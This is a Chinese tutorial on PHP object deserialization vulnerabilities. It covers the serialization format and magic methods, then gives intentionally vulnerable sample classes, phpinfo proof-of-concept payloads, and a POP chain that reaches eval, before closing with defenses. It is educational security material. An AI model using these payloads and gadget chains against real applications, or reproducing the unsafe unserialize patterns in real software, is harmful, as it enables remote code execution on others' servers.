基本概念
序列化:
serialize()
将对象转变成一个字符串便于之后的传递与使用。
- 序列化会保存对象所有的变量,但是不会保存对象的方法。
反序列化:
unserialize()
将序列化的结果恢复成对象。
- 反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用
spl_autoload_register()
(自动包含类)实现
序列化后格式:
- 布尔型:
- 整数型:
- 字符型:
1 2
| s:length:"value"; s:4:"aaaa";
|
- NULL型:
- 数组:
1 2
| a:<length>:{key; value pairs}; a:1:{i:1;s:1:"a";}
|
- 对象:
1 2
| O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}; O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
|
序列化实列:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class User { public $name = ''; public $age = 0;
public function PrintData() { echo 'User '.$this->name.'is '.$this->age.' years old'; } }
$user = new User(); $user->name = 'John'; $user->age = 20;
$exp = serialize($user);
echo $exp.'<br>';
$user1 = unserialize($exp);
$user1->PrintData(); ?>
|
魔术方法(Magic Methods):
php 类中包含的一些以 _
开头的函数
__construct
对象被创建时调用,但 unserialize()
时不会调用
__destruct
对象被销毁时调用
__toString
对象被当做字符串使用时调用,返回一个字符串(不仅 echo
,比如 file_exists()
也会触发)
__sleep
序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组)
__wakeup
恢复反序列化对象之前调用
__call
调用不存在的方法时
更多魔术方法参照:http://php.net/manual/zh/language.oop5.magic.php#object.tostring
魔术方法实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
class Str3am{ public $var1 = 'abc'; public $var2 = '123';
public function echoP(){ echo $this->var1.'<br>'; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('var1', 'var2'); } public function __wakeup(){ echo "__wakeup<br>"; } }
$obj = new Str3am();
$obj->echoP();
echo $obj;
$s = serialize($obj);
echo $s.'<br>';
unserialize($s);
?>
|
__destruct实例:脚本结束后删除日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
class LogFile {
public $filename = 'error.log';
public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); }
public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } }
?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'somefile.log'; $obj->LogData('Test');
?>
|
漏洞利用
反序列化漏洞主要原因在于程序逻辑,魔方函数或者其他函数存在危险功能,通过反序列刚好能利用这个功能,就导致了漏洞产生。
具体可以参见文末 Chybeta
的文章
利用 Magic Function
用了 chybeta
大佬的代码做演示,index.php 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class chybeta{ var $test = '123'; function __wakeup(){ file_put_contents('shell.php', $this->test); } }
$class = $_GET['test']; print_r($class); echo "<br>";
$class_unser = unserialize($class);
require("./shell.php");
|
payload O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
,这里比较坑的一点是,访问页面前端显示是不完整的,需要查看源代码。
生成 payload 的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class chybeta{ var $test = "123"; function __wakeup(){ $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $class4 = new chybeta(); $class4->test = "<?php phpinfo();?>"; $class4_ser = serialize($class4); print_r($class4_ser); ?>
|
反序列化漏洞个人感觉比较依赖程序逻辑,有反序列化且调用危险函数的地方都可以留意下,同时还要注意调用其他对象的情况如下面这个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class ph0en1x{ function __construct($test){ $fp = fopen("shell.php","w") ; fwrite($fp,$test); fclose($fp); } } class chybeta{ var $test = '123'; function __wakeup(){ $obj = new ph0en1x($this->test); } } $class5 = $_GET['test']; print_r($class5); echo "</br>"; $class5_unser = unserialize($class5); require "shell.php"; ?>
|
利用普通成员方法
当危险函数存在于普通成员方法而不是自动调用的 Magic Function 中时,这时候寻找相同的函数名。
ex1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class chybeta{ var $test; function __construct(){ $this->test = new ph0en1x(); }
function __destruct(){ $this->test->action(); } }
class ph0en1x{ function action(){ echo "ph0en1x"; } }
class ph0en2x{ var $test2; function action(){ eval($this->test2); } }
$class = new chybeta();
unserialize($_GET['test']); ?>
|
希望执行 __destruct()
函数时调用 ph0en2x
中的 action()
函数,构造 pop 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class chybeta{ var $test; function __destruct(){ $this->test->action(); } }
class ph0en2x{ var $test2 = "phpinfo();"; function action(){ eval($this->test2); } }
$class = new chybeta(); $class->test = new ph0en2x();
echo serialize($class); ?>
|
PHP Session 处理器的安全隐患
脚本处理序列化所用处理器不一致导致漏洞,具体可以参照这篇文章
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
防御
- 避免用户可控
unserialize()
参数
- 换用 json 传递信息
参考链接
php序列化 - L3m0n
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html
浅谈php反序列化漏洞 - Chybeta
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
理解 php 对象注入
http://wooyun.jozxing.cc/static/drops/papers-4820.html
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
http://wooyun.jozxing.cc/static/drops/tips-3909.html